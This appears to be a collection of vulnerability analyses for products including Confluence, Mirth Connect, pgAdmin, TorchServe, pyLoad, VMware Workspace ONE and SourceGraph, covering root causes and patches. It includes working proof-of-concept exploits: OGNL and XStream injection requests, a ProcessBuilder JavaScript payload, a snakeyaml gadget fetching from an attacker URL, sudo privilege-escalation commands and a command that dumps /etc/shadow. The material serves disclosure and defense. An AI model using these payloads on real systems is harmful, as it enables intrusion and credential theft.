CVE-2023-28324 is an unauthenticated RCE affecting Ivanti EPM versions 2022 SU2 and prior. It was noted by Ivanti on June 7th, 2023 and later analyzed by Horizon3. The root cause of the vulnerability is an exposed .NET remoting method that can be used to execute an arbitrary OS command on the affected server. The .NET remoting service changes it’s port on each boot and they are typically unprivileged, high ports that are used. An attacker would need to scan high TCP port ranges to identify a listening service.

Once found however, the attacker can invoke Request method on the LANDesk.AgentPortal.IAgentPortal service to execute an arbitrary command. Likewise, the GetResult method can be used to obtain the command output. The command is executed in the context of NT AUTHORITY\SYSTEM. A medium attacker value was selected due to the requirement of finding and connecting to the service. The high, unprivileged port is very unlikely to be available on an external network, making this vulnerability primarily useful from an internal network perspective. As is the case with most command execution vulnerabilities, exploitation is very reliable and the target service is unlikely to crash even if the binary to run does not exist.

As noted in the Horizon3 analysis, the patch addresses the vulnerability by restricting what commands can be run to a static, predetermined set of values.

This vulnerability can be leveraged by an authenticated attacker to execute OS commands within the context of the Confluence application server. The authenticated user must have the “Confluence Administrator” global permission. By default, this permission is only granted to the confluence-administrators group.

To leverage this vulnerability, the user would login to Confluence, then:

1. Navigate to General Configuration > Configure Code Macro
   
2. Select “Add a new language”
   
3. Provide a javascript file to execute, using java.lang.ProcessBuilder to run an arbitrary command
   
4. Specify an arbitrary language name
   
5. Press the “Add” button
   

Once the “Add” button is pressed, there will likely be an error message displayed in the UI stating that the uploaded language file is invalid. Despite this error message, the Javascript code is executed. The language fails to be added so there is no language to clean up.

exploit.js
The following exploit.js source file will echo the current user information to /tmp/output.

new java.lang.ProcessBuilder["(java.lang.String[])"](["/usr/bin/sh", "-c", "echo $(id) > /tmp/output"]).start()

Original source from: https://github.com/W01fh4cker/CVE-2024-21683-RCE/blob/main/exploit.js

pgAdmin is vulnerable to a multi-factor authentication bypass (CWE-287) whereby an attacker with knowledge of an account’s credentials can manage files and make SQL queries regardless of whether or not the account has been configured with MFA. This vulnerability has a CVSS v3 score of 6.4 with a vector of AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N.

Exploitation

An attacker with knowledge of a legitimate account’s username and password may authenticate to the application and perform sensitive actions within the application, such as managing files and executing SQL queries regardless of the account’s MFA enrollment status.

pgAdmin4 is a rewrite of the original application in Python and has evolved into pgAdmin4 version 8.5 (the latest version as of when this vulnerability was discovered). The application is written using the Flask web framework and uses common Flask patterns such as blueprints, which is a web application component that may include one or more resource handlers called “views”.

Upon normal authentication, an MFA-enabled user is granted a session without the mfa_authenticated key. pgAdmin then offers an mfa_required decorator that must be applied to individual Flask views in order to be protected. Once the username and password are validated, the session object itself is valid, meaning each view must opt into MFA authentication as opposed to being required to create a valid and authenticated session. The main view of the browser blueprint opts into MFA authentication. The /browser/ resource is the default location a newly authenticated user is redirected to. When this view is rendered by Flask, the MFA authentication status is checked and the user is prompted to enter their OTP.

If, however, the user has automated the necessary HTTP requests, there is nothing stopping them from using their authenticated session and accessing other parts of the application including the file manager and SQL editor blueprints. These two resources, along with others, only require an authenticated session, effectively ignoring the account’s MFA requirement.

Impact

An attacker is able to leverage an MFA-enabled account with only knowledge of its username and password to execute SQL queries and manage files. It should be noted that the file manager does not have full access to the root file system by default but is commonly used to store SQL related data files.

This vulnerability was fixed in pgAdmin 8.6 by commit f4761f5.

pgAdmin versions <=8.3 are vulnerable to a path traversal vulnerability in the session handling logic. This can be leveraged by an attacker to load a malicious serialized object and execute Python code within the context of the application. On Linux servers, this requires the ability to write files to the target. pgAdmin has a file management component that is available by default for users. With a known username and password, a user can authenticate to pgAdmin, upload a malicious object, and trigger code execution through the path traversal vulnerability. It should be noted that CVE-2024-4215 affects a superset of pgAdmin versions and, therefore, an attacker would be able to leverage an account regardless of it’s MFA enrollment status.

When targeting Windows servers, the vulnerability can lead to code execution by using a UNC path in place of the path traversal. Insecure outbound guest access was disabled by default in Windows 10 v1709 (Redstone 3). To leverage this technique, the target would either need to be an older system, or have guest access explicitly enabled. Alternatively, Windows servers can also be exploited by using the same file management functionality provided by pgAdmin.

This vulnerability was fixed in commit 4e49d75.

Mirth Connect is vulnerable to unauthenticated RCE due to the mishandling of data that is unmarshalled by the XStream library. This vulnerability was originally reported by IHTeam in August 2023. Their report intentionally lacked any details as to the nature of the vulnerability in hopes of preventing its use in ransomware attacks.

This particular vulnerability affects versions <= 4.3.0 of Mirth Connect. A remote attacker can identify the target version using the REST API:

curl --location 'https://192.168.159.128:8443/api/server/version' \
--header 'X-Requested-With: OpenAPI'

Horizon3.ai researchers later determined that the patch for CVE-2023-37679 was incomplete. The Mirth Connect team addressed the issue by implementing a Deny List for the gadget chains published for XStream exploitation. In their writeup, Naveen Sunkavally noted that a common XStream payload was capable of exploiting the CVE-2023-37679 on certain versions of Java. Due to changes in more recent versions of Java however, the payload was not universal. Their writeup discloses a universal payload for exploiting CVE-2023-37679 as well as a payload that bypassed the denylist leading to CVE-2023-43208.

curl --location 'https://192.168.159.128:8443/api/users/' \
--header 'X-Requested-With: OpenAPI' \
--header 'Content-Type: application/xml' \
--header 'Cookie: JSESSIONID=node01d59tmo5726v0tnjjk6jot7161.node0' \
--data '<sorted-set>
    <string>foo</string>
    <dynamic-proxy>
        <interface>java.lang.Comparable</interface>
        <handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
        <target class="java.lang.ProcessBuilder">
            <command>
            <string>sh</string>
            <string>-c</string>
            <string>touch /tmp/success</string>
            </command>
        </target>
        <methodName>start</methodName>
        <eventTypes/>
        </handler>
    </dynamic-proxy>
</sorted-set>

CVE-2023-37679 exploit using the XStream payload disclosed by Horizon3.ai

Exploitation of this vulnerability yields code execution in the context of the service account. When run in docker, this is a non-root account; however, when installed on Windows, this is NT AUTHORITY\SYSTEM.

To remediate this vulnerability, users should upgrade to version 4.4.0. Users should be aware, though, that 4.4.0 is vulnerable to CVE-2023-43208 and instead upgrade to 4.4.1 in which there are no publicly disclosed bypasses for this particular vector.

Overview

A vulnerability exists within Atlassian Confluence which enables a remote and unauthenticated attacker to achieve OS command execution in the context of the application. The vulnerability is due to the text-inline.vm velocity template allowing the label parameter to be passed to an OGNL-sink. By using the technique published by Rahul Maini and Harsh Jaiswal of ProjectDiscovery, an attacker can break out of the sandbox enforced by Struts using the .KEY_velocity.struts2.context value exposed within the request. This was the basis for many of the public PoCs which followed the pattern demonstrated below.

curl --location 'http://localhost:8090/template/aui/text-inline.vm' \
--header 'X-Cmd-In: touch /tmp/cmd_in' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--header 'Cookie: JSESSIONID=7EC7F710425BEBB71F71363591CD03BD' \
--data-urlencode 'label=\u0027+#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.p1,{})+\u0027' \
--data-urlencode 'p1=@org.apache.struts2.ServletActionContext@getResponse().setHeader('\''Cmd-Ret'\'',(new freemarker.template.utility.Execute()).exec({"id"}))'

HTTP/1.1 200 
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Confluence-Request-Time: 1706122679440
Cmd-Ret: uid=2002(confluence) gid=2002(confluence) groups=2002(confluence) 
X-Accel-Buffering: no
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Transfer-Encoding: chunked
Date: Wed, 24 Jan 2024 18:57:59 GMT

As noted by ProjectDiscovery in their writeup, however, there is a 200-character limit on the OGNL expressions that are evaluated. In the previous example, this means that the length of the p1 parameter can not exceed 200 characters, meaning the OS command can not exceed 70 characters unless the command results are omitted from the response headers. An additional parameter can also be referenced to bypass this restriction, removing the 200 character limit from the OS command payload. In the following example, the p2 parameter contains the OS command, which is not subject to the 200-character limit and also has fewer character restrictions, making it easier to encode more complex command payloads.

curl -i --location 'http://localhost:8090/template/aui/text-inline.vm' \
--header 'X-Cmd-In: touch /tmp/cmd_in' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--header 'Cookie: JSESSIONID=7EC7F710425BEBB71F71363591CD03BD' \
--data-urlencode 'label=\u0027+#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.p1,{})+\u0027' \
--data-urlencode 'p1=@org.apache.struts2.ServletActionContext@getResponse().setHeader('\''Cmd-Ret'\'',(new freemarker.template.utility.Execute()).exec({@org.apache.struts2.ServletActionContext@getRequest().getParameter('\''p2'\'')}))' \
--data-urlencode 'p2=sh -c $@|sh . echo id'

HTTP/1.1 200 
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Confluence-Request-Time: 1706122962559
Cmd-Ret: uid=2002(confluence) gid=2002(confluence) groups=2002(confluence) 
X-Accel-Buffering: no
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Transfer-Encoding: chunked
Date: Wed, 24 Jan 2024 19:02:42 GMT

This vulnerability also affects Windows systems. When installed on Microsoft Windows, Confluence will by default run as NT AUTHORITY\NETWORK SERVICE. An attacker can easily use namedpipe impersonation to target the RPCSS process to elevate themselves to NT AUTHORITY\SYSTEM. This well-documented privilege escalation technique makes this exploit valuable to attackers when targeting installations on Windows.

Remediation

This vulnerability was patched in version 8.5.4, 8.6.0 and 8.7.1. For complete version information, see CONFSERVER=93833.

The redis project patched a possible memory corruption vulnerability in the sdsResize method using commit 5f5f298a. The changes addressed an edge case whereby the method may not set the simple dynamic string (SDS) type field. SDS values use a variable-sized header based on their type. The types are defined as one of HI_SDS_TYPE_5, HI_SDS_TYPE_8, HI_SDS_TYPE_16, HI_SDS_TYPE_32, or HI_SDS_TYPE_64 where the number defines the bit width of the length and size fields. HI_SDS_TYPE_5 is a special case where the length is encoded in the 5 most significant bits of the flags field (whose 3 least significant bits are the type), and there is no dedicated length or size field.

These types are defined in deps/hiredis/sds.h and the format is:

hisdshdr5                  FBBBB...
hisdshdr8                LAFBBBB...
hisdshdr16             LLAAFBBBB...
hisdshdr32         LLLLAAAAFBBBB...
hisdshdr64 LLLLLLLLAAAAAAAAFBBBB...
           ^       ^       ^^
           |       |       |\ (char *)sds points here
           |       |       \ 1 - byte of flags where the 3 LSBs are the type and the 5 MSBs are the size in hisdshdr5 or unused
           |       \ N-bits of allocation size (number of bytes available for the buffer)
           \ N-bits of length (number of bytes used by the buffer)

The changes to sdsResize ensure that when realloc is not used to perform the resizing operation, that the type field is always set before the calls to sdssetlen and sdssetalloc. The unpatched implementation of sdsResize would simply set the SDS length and size with the allocations were already considered to be “optimal”. If the allocation was already optimal and did not require a reallocation to adjust the size, but the SDS type itself needed to be increased to store the new value, the size field may overflow in such a way that the SDS size is marked as smaller than it is.

This condition would require:

1. Redis be built with the USE_JEMALLOC macro, without this compile-time setting alloc_already_optimal will never be truish
   
2. That sdsResize be called to enlarge the SDS value
   
3. That the allocation size occupied by the SDS value be the same as the new size that it is being enlarged to
   
4. The original size be of a smaller SDS type than the new size (i.e. the new size requires more bits to store than are available within the original).
   

A quick spot check reveals that the redis package provided by Fedora 39 is built with the USE_JEMALLOC macro defined and meets the first condition. For the second condition, locations where sdsResize is invoked need to be identified. This search yields the following 4 locations:

• sdsRemoveFreeSpace — This location will only reduce the size of the allocation
  
• sdsTest — These locations are only used as part of testing. Also the sizes are static.
  
• clientsCronResizeQueryBuffer — This location will only reduce the size of the allocation. It’s intended to run periodically to reclaim unused memory that was once occupied by the query buffer. It can not be used to enlarge the SDS value. The resize value could be set to c->bulklen, which is attacker-controllable by using bulk loading, however, it will not be larger than the existing allocation.
  
• hllSparseSet
  

hllSparseSet

This function uses sdsResize to increase the size of the sds struct.

This will call sdsResize as the PFADD command is received. The size will increment by three each time it is called. sdsResize is only called when there are fewer than 3 bytes available in the sds structure. When enlarging the sds structure, o->ptr is increased to either double its current value or 300, whichever is smaller. The sds structure is resized in this way until it has reached server.hll_sparse_max_bytes which is 3,000 by default. This means that it can only be resized at most 13 times. Of those 13 times the value is enlarged, it only changes SDS type twice, once from 5 to 8 the first time it is resized and then from 8 to 16 the 4th time it is resized. In neither of these cases is the existing allocation the same size as the requested one, most likely because of how the buffer is doubling in size at this point. Because the existing allocation size is not the same as the requested one, the alloc_already_optimal value is false in sdsResize and the branch is taken which sets the type correctly.

The hllSparseSet code path can be triggered with the following Python code for debugging:

import redis
import time

r = redis.Redis(host='localhost', port=6379, decode_responses=True)

start = int(time.time())
for i in range(0x1000):
	r.pfadd('pf-' + str(start), str(i))

r.close()

Conclusion

Based on this analysis there is no demonstratable threat to the redis project posed by this bug. The necessary conditions to enlarge an SDS value in the way necessary to trigger the overflow are not reacable by any code path included in the most recent vulnerable version 7.2.3. Nevertheless, this bug should be and has been patched to prevent it’s use in the future. An ideal scenario where this bug could be leveraged would require the attacker to have a high degree of control over both the currently allocated size of the SDS and the new size. In that case, starting with an SDS of 0xff bytes and resizing it to 0x100 would use the affected code path and incorrectly set the length and size to 0.

I’ve marked this as difficult to exploit due to the number of conditions that must be met for an attacker to successfully leverage it.
Exploiting this vulnerability is not straightforward; there are multiple security restrictions in place to prevent exploitation.

1. The attacker needs the credentials of a valid user.
   

2. The attacker needs to be on the local area network.

   More specifically, the user needs to have access to the Domain Controller / KDC to authenticate to the Exchange service with Kerberos (tcp/88).

3. [loadFromRemoteSources](https://learn.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/dd409252(v=vs.100)) needs to be enabled in the Exchange server’s .NET application configuration.

   This is a discrepancy between what I have observed and what is stated in the public analysis. The translated statement “但是好在还可以通过SMB共享加载其他机器上的程序集。” (translation: “But fortunately, you can also load assemblies on other machines through SMB sharing.”) appears to be false. When using .NET Framework 4, Exchange Server 2019 CU12 is unable to load the FUSE.Paxos.dll library from an SMB server as specified by a UNC path. In the default settings, the server even raises a System.IO.FileLoadException exception when the path is local (e.g. C:\Shares ). Exchange Server 2019 requires .NET Framework version 4.8 to be installed, so there will not be any instances where an older version is in use that does not implement the loadFromRemoteSources setting.

   Furthermore, according to More Implicit Uses of CAS Policy: loadFromRemoteSources which states:

   For example, in .NET 3.5 the following code:

   Assembly internetAssembly = Assembly.LoadFrom(@"https://www.microsoft.com/assembly.dll");
   Assembly intranetAssembly = Assembly.LoadFrom(@"\\server\share\assembly.dll");
   

   Will by default load internetAssembly with the Internet permission set and intranetAssembly with the LocalIntranet permission set.   That was because the CLR would internally gather evidence for both assemblies and run that evidence though CAS policy in order to find the permission set to grant that assembly.

   Now that the sandboxing model has changed in the v4 CLR, there is no more CAS policy to apply the assembly’s evidence to by default, and  therefore default behavior of both of these loads would be to load the assemblies with a grant set of full trust.

   A UNC path would have the LocalIntranet permission set by the CLR and the CAS policy in .NET 3.5. In version 4.0 though, it is prevented from loading without enabling loadFromRemoteSources because it would receive a grant set of full trust. This is aligned with the observed behavior.

4. A crafted FUSE.Paxos.dll file must be placed in a location accessible from the target Exchange Server.

   Realistically, this will probably be on a network share that the attacker can write to that the Exchange Server can authenticate to and read from. Using default settings, the attacker can not host it on their own SMB server because Windows blocks shared folder access as unauthenticated guests.

If all of the necessary conditions are met, the vulnerability can be exploited reliably. The result is code execution in the context of NT AUTHORITY/SYSTEM as a new process is created. Starting a new process could be avoided by modifying the source of FUSE.Paxos.dll.

TorchServer allows models to be registered from any HTTP server that the server can access. A remote, unauthenticated attacker can leverage this to register arbitrary model archives with the server using the register-a-model API.

This API can be invoked using cURL:

curl --location --request POST 'http://localhost:8081/models?url=http%3A%2F%2Fattackerip%3A8000%2Fmalicious.mar'

If the registration is successful, the model will need to be unregistered before it can be registered again.

This API can be invoked using cURL as well:

curl --location --request DELETE 'http://localhost:8081/models/malicious/1.0'

TorchServer version 0.8.1 and previous are vulnerable. This vulnerability was patched in 0.8.2. A remote user can invoke the api-description endpoint to determine the target version.

[smcintyre@localhost ~]$ curl --location --request OPTIONS 'http://localhost:8081' | jq '.info'
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 58576  100 58576    0     0  16.8M      0 --:--:-- --:--:-- --:--:-- 18.6M
{
  "title": "TorchServe APIs",
  "description": "TorchServe is a flexible and easy to use tool for serving deep learning models",
  "version": "0.8.1"
}

Exploitation With CVE-2022-1471

This vulnerability is notably more valuable when combined with CVE-2022-1471. In this case, the model archive (MAR file, .mar) can contain a YAML configuration file that is capable of triggering remote code execution through a vulnerable version of the snakeyaml library. An attacker would construct the MAR file (which is a structured ZIP file) with a MAR-INFO/MANIFEST.json that references a configuration file through the model.configFile key. In the case of TorchServer 0.8.1, the ScriptEngineManager gadget chain is effective. The ScriptEngineManager has the advantage over other LDAP-based chains due to being HTTP-based. This means the TorchServer only needs to have access to one service from which it can retrieve the MAR file as well as the Java payload classes as opposed to requiring access to both an HTTP and LDAP service.

The serialized config file would look like the following where $payload_url is the URL to where the Java class files are stored.

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["$payload_url"]]]]

When using this chain it is also necessary to host a services/javax.script.ScriptEngineFactory file which contains the name of the payload class to load. When using this gadget chain, the payload class must implement javax.script.ScriptEngineFactory. See SnakeYaml Deserilization exploited (2019) for more information.

The ResourceGadget, C3P0WrapperConnPool and BadAttributeValueExpException gadget chains do not work against TorchServer 0.8.1, making the ScriptEngineManager chain the only HTTP-based one to work from this comment in snakeyaml’s issue tracker.

snakeyaml contains a vulnerability whereby an attacker that has control over YAML data that is deserialized by an affected version can execute arbitrary Java code. There are multiple, gadget chains that have been published for exploiting this vulnerability. In practice, this vulnerability is most valuable for exploitation purposes when chained with another vulnerability that allows for it to be triggered remotely such as CVE-2023-43654.

This vulnerability is moderately difficult to weaponize due to a couple of factors. First, in most scenarios, the attacker will need to understand the context in which snakeyaml is used within the host application. This will involve figuring out a means by which to get the target application to deserialize YAML data controlled by the attacker through some kind of API call, for example. Secondly, while multiple gadget chains are publicly available for, the exploit developer will still need to do some trial and error to find a chain that works within the target application. Once a chain has been identified, the target application will require access to communicate with an attacker-controlled server from which to load the Java class data. In the public chains, this server would either be HTTP(S) or LDAP.

Code execution will occur in the context of the host application where the snakeyaml library is used. This means the payload will execute with the same privileges as the host application, which will be different on a case-by-case basis.

This vulnerability was fixed in version 2.0. See the issue on bitbucket for more information.

The SolarWinds Information Service (SWIS) is vulnerable to RCE by way of a crafted message received through the AMQP message queue. A malicious user that can authenticate to the AMQP service can publish such a crafted message whose body is a serialized .NET object which can lead to OS command execution as NT AUTHORITY\SYSTEM.

In order to authenticate to the AMQP service, a user would need to already have admin access to add a RabbitMQ user, or have recovered the credentials to the orion account that SolarWinds sets up automatically. For that reason, I’ve marked this as “Authenticated” and “Requires elevated access” because the orion account is not any ordinary user.

Description

pyLoad versions prior to 0.5.0b3.dev31 are vulnerable to Python code injection due to the pyimport functionality exposed through the js2py library. An unauthenticated attacker can issue a crafted POST request to the flash/addcrypted2 endpoint to leverage this for code execution. pyLoad by default runs two services, the primary of which is on port 8000 and can not be used by external hosts. A secondary “Click ‘N’ Load” service runs on port 9666 and can be used remotely without authentication.

The vulnerability was patched in commit 7d73ba79 by disabling the pyimport statement within the js2py execution environment.

From the original disclosure, the vulnerability can be validated with curl:

curl -i -s -k -X $'POST' \
    --data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
    $'http://127.0.0.1:9666/flash/addcrypted2'

Vulnerable instances will respond with a 500 error and a message that the decryption failed.

HTTP/1.1 500 INTERNAL SERVER ERROR
Content-Type: text/html; charset=utf-8
Content-Length: 21
Access-Control-Max-Age: 1800
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: OPTIONS, GET, POST
Vary: Accept-Encoding
Date: Thu, 16 Feb 2023 17:02:16 GMT
Server: Cheroot/8.6.0

Could not decrypt key

Patched instances (v0.5.0) will also respond with a 500 error but the body of the response will include a stack trace in HTML with the following error:

              <p><b>Error 500: SyntaxError: Line 1: Unexpected token pyimport</b></p>
          
              <p><b>Traceback (most recent call last):</b></p>
          
              <p><b>  File &#34;/usr/lib/python3.10/site-packages/flask/app.py&#34;, line 1820, in full_dispatch_request</b></p>
          
              <p><b>    rv = self.dispatch_request()</b></p>

This is an alternative method for bypassing Exchange Emergency Mitigation Service (EEMS) protections for the ProxyNotShell exploit chain. When this CVE is combined with CVE-2022-41082, they yield code execution as NT AUTHORITY\SYSTEM.

Installing the original patches from Microsoft that were released in November fix this exploit chain as well. The technique is arguably redundant when EEMS can be bypassed using various encoding techniques. This alternative vector is likely most valuable when used to avoid generating exploitation following the original pattern.

CVE-2022-41082, also known as ProxyNotShell is an authenticated RCE in Microsoft Exchange. ProxyNotShell actually combines CVE-2022-41082 and CVE-2022-41040 for the whole attack chain. This CVE specifically however is the RCE component. The vulnerability is a deserialization flaw in Microsoft Exchange’s PSRP backend. The PSRP backend can be accessed by an authenticated attacker leveraging the SSRF flaw identified as CVE-2022-41040. The deserialization gadget was documented by ZDI in their blog. While this vulnerability affected Exchange Server 2013 and Exchange Server 2016, the gadget chain only worked with Exchange Server 2019 (version 15.2+). A new gadget chain could potentially be developed to exploit these older versions.

GTSC originally announced on September 28th that they had seen a new (at the time) 0-day attack against their customers using Microsoft Exchange. On November 8th, Microsoft released patches for the two vulnerabilities. Between September 28th and November, no public exploits combined the SSRF with the RCE. Private threat actors however were attempting to exploit the vulnerability which led Microsoft to issue Exchange Emergency Mitigation Service (EEMS) mitigations. These mitigations took the form of IIS rewrite rules which were able to be bypassed using encoding techniques. The last issued EEMS mitigation was able to be successfully bypassed by using IBM037v1 encoding, which can be demonstrated using the Metasploit module.

Successful code execution results in OS commands running as NT AUTHORITY\SYSTEM. The exploit is reliable to exploit and pretty quick (compared to ProxyShell which needed to gather a lot of information).

The VMware Workspace ONE Access, Identity Manager, and vRealize Automation products contain a locally exploitable vulnerability whereby the under-privileged horizon user can escalate their permissions to those of the root user. Notably, the horizon user runs the externally accessible web application. This means that remote code execution (RCE) within that component could be chained with this vulnerability to obtain remote code execution as the root user.

The vulnerability is due to the fact that the /usr/local/horizon/scripts/getProtectedLogFiles.hzn script can be run with root privileges without a password using the sudo command. This script in turn will recursively change the ownership of a user-supplied directory to the horizon user, effectively granting them write permissions to all contents.

To demonstrate and exploit this vulnerability, the following command is executed as the horizon user:

sudo /usr/local/horizon/scripts/getProtectedLogFiles.hzn exportProtectedLogs /usr/local/horizon/scripts/

At this point, the horizon user has write access (through ownership) to a variety of scripts that they also have the right to invoke using sudo without a password. These scripts can be verified by executing sudo -n --list. A careful attacker would have backed up the ownership information for each file in the directory they intend to target, and restored them once they had obtained root-level permissions.

The root cause of this vulnerability is that the exportProtectedLogs subcommand invokes the getProtectedLogs function which will change the ownership information to the TOMCAT_USER which happens to be horizon.

Excerpt from getProtectedLogFiles.hzn:

function getProtectedLogs()
{
    chown ${TOMCAT_USER}:${TOMCAT_GROUP} $TARGET_DIR_LOCATION
    rm -f $TARGET_DIR_LOCATION/messages*
    rm -f $TARGET_DIR_LOCATION/boot*
    rm -rf $TARGET_DIR_LOCATION/journal*

    cp $VAR_LOG_MESSAGES* $TARGET_DIR_LOCATION
    cp $BOOT_LOG_MESSAGES* $TARGET_DIR_LOCATION
    chown -R ${TOMCAT_USER}:${TOMCAT_GROUP} $TARGET_DIR_LOCATION/

}

See the original disclosure for more information.

The VMware Workspace ONE Access, Identity Manager, and vRealize Automation products contain a locally exploitable vulnerability whereby the under-privileged horizon user can escalate their permissions to those of the root user. Notably, the horizon user runs the externally accessible web application. This means that remote code execution (RCE) within that component could be chained with this vulnerability to obtain remote code execution as the root user.

The vulnerability is due to the fact that the permissions on the file /opt/vmware/certproxy/bin/cert-proxy.sh are such that the horizon user is both the owner and has access to invoke this file.

To demonstrate and exploit this vulnerability, that file is overwritten, and then the following command is executed as the horizon user:

sudo /usr/local/horizon/scripts/certproxyService.sh restart

Note, that depending on the patch level of the system, the certproxyService.sh script may be located at an alternative path and require a slightly different command:

sudo /opt/vmware/certproxy/bin/certproxyService.sh restart

In both cases, the horizon user is able to invoke the certproxyService.sh script from sudo without a password. This can be verified by executing sudo -n --list. The certproxyService.sh script invokes the systemctl command to restart the service based on its configuration file. The service configuration file, located at /run/systemd/generator.late/vmware-certproxy.service, dispatches to /etc/rc.d/init.d/vmware-certproxy through the ExecStart and ExecStop directives, which in turn executes /opt/vmware/certproxy/bin/cert-proxy.sh.

The horizon user should not be the owner of or have write access to any executable files that run as root.

See the original disclosure for more information. This vulnerability has a public exploit in the form of a Metasploit module.

A vulnerability exists in the gitserver component of SourceGraph that allows remote and unauthenticated attackers that can access the service to configure git’s core.sshCommand value which can then be triggered on demand by forcing a push operation. In order to be exploitable, the SourceGraph instance must have at least one cloned repository present. Cloning a repository is the first post-installation step that a Source Graph administrator is prompted to take. Once one or more repositories are cloned, a remote and unauthenticated attacker can enumerate them using curl http://$target:3178/list?cloned=true. Successful exploitation results in code execution in the context of the gitserver user.

While a server with no cloned repositories is not exploitable, the vulnerability can still be checked by analyzing the response to a filtered command. The vulnerability can be checked for using the following curl command where $target is the target server. This command fetches the current core.sshCommand value and does not change it.

curl -X POST http://$target:3178/exec -d '{"Repo": "repo", "Args": ["config", "--default", "", "core.sshCommand"]}'

If the response is HTTP/400 with a body of “invalid command”, the server is not vulnerable. If it’s HTTP/404, it’s vulnerable but the selected repository does not exists, while if it’s HTTP/200 it’s vulnerable and the repository does exist.

SourceGraph fixed the vulnerability in version 3.37, but users must opt into the solution. The implemented fix was in the form of optional filtering on the /exec endpoint to restrict the git commands that are able to be executed. Commit baff5680 (first released in v3.37) sets this value to default to true however it does not appear to be the default for new installations. It’s unclear what the word default means in this context. At the time of this writing, it looks like a future release may remove the option and always include the functionality. In the mean time, to enable this, SourceGraph administrators must navigate to Configuration > Site Configurationand add the following JSON blob to the configuration file.

"experimentalFeatures": {
    "enableGitServerCommandExecFilter": true
  }

With that in place, the server will be patched for this vulnerability as unauthorized commands will be blocked. Blocked commands are logged since version 3.37 regardless of whether or not the filtering is active. A blocked command will generate a log line such as the following:

22:11:37                 gitserver | {"SeverityText":"WARN","Timestamp":1657750297008909456,"InstrumentationScope":"server","Caller":"server/server.go:1381","Function":"github.com/sourcegraph/sourcegraph/cmd/gitserver/server.(*Server).exec","Body":"exec: bad command","Resource":{"service.name":"gitserver","service.version":"3.41.0","service.instance.id":"127.0.0.1:3178"},"Attributes":{"RemoteAddr":"192.168.159.128:45316","req.Args":["config","--default","","core.sshCommand"]}}

In this case the command that was run was git config --default "" core.sshCommand from the test curl command.

See also https://github.com/rapid7/metasploit-framework/pull/16762

A remote and unauthenticated attacker can trigger a denial-of-service condition on Microsoft Windows Domain Controllers by leveraging a flaw that leads to a null pointer deference within the Windows kernel. This vulnerability was silently patched by Microsoft in April of 2022 in the same batch of changes that addressed the unrelated CVE-2022-24500 vulnerability.

CVE-2022-32230 is caused by a missing check in srv2!Smb2ValidateVolumeObjectsMatch to verify that a pointer is not null before reading a PDEVICE_OBJECT from it and passing it to IoGetBaseFileSystemDeviceObject. This function is called from the dispatch routine for an SMB2 QUERY_INFO request of the FILE_INFO / FILE_NORMALIZED_NAME_INFORMATION class. Per the docs in MS-SMB2 section 3.3.5.20.1 Handling SMB2_0_INFO_FILE, FILE_NORMALIZED_NAME_INFORMATION is only available when the dialect is 3.1.1.

For FileNormalizedNameInformation information class requests, if not supported by the server implementation<392>, or if Connection.Dialect is “2.0.2”, “2.1” or “3.0.2”, the server MUST fail the request with STATUS_NOT_SUPPORTED.

Only newer versions of Windows that support the SMB 3.1.1 dialect are affected by this flaw (Windows 10 / Server 2019 and later).

To trigger this code path, a user would open any named pipe from the IPC$ share and make a QUERY_INFO request for the FILE_NORMALIZED_NAME_INFORMATION class. This typically requires user permissions or a non-default configuration enabling guest access. This is not the case, however, for the noteworthy exception of domain controllers where there are multiple named pipes that can be opened anonymously, such as netlogon. An alternative named pipe that can be used but does typically require permissions is the srvsvc pipe.

Under normal circumstances, the FILE_NORMALIZED_NAME_INFORMATION class would be used to query the normalized name information of a file that exists on disk. This differs from the exploitation scenario which queries a named pipe.

A system that has applied the patch for this vulnerability will respond to the request with the error STATUS_NOT_SUPPORTED.

By setting the Host HTTP header to point to a server under an attacker’s control, the target application can be made to issue an authentication request to it. By having the server respond with an HTTP 200 to any POST request, an attacker can bypass authentication and login as any user.

There exists a vulnerability within /usr/local/horizon/scripts/publishCaCert.hzn where a local attacker can invoke the script to make any file world-readable. The script is intended to facilitate certificate management, allowing cert files to be copied into /etc/ssl/certs which is owned by root. The script can be invoked by the horizon user without a sudo password.

The script takes two arguments, the first a path to the file to copy, the second the name of the file to write to the destination. The source path argument can be any file, but the destination is only the final component of the path meaning the file will be placed in /etc/ssl/certs.

A local user running as horizon (such as from successfully exploiting CVE-2022-22954) can exploit this vulnerability to recover the shadow file by executing:

horizon [ /tmp ]$ sudo /usr/local/horizon/scripts/publishCaCert.hzn /etc/shadow shadow; cat /etc/ssl/certs/shadow
root:$6$Y49xfSabYZeOAAKr$VN0QQ5IsF1swmo7PmW7SMwFpdxo.RuN2W1FEc/gF814JhnC/KU.FEBMVxDx5aRclwcfp8OYjFqzqNxtb3hQPz.:19131:0:60:7:::
bin:x:18964:0:60:7:::
daemon:x:18964:0:60:7:::
messagebus:x:18964:0:60:7:::
systemd-bus-proxy:x:18964:0:60:7:::
systemd-journal-gateway:x:18964:0:60:7:::
systemd-journal-remote:x:18964:0:60:7:::
systemd-journal-upload:x:18964:0:60:7:::
systemd-network:x:18964:0:60:7:::
systemd-resolve:x:18964:0:60:7:::
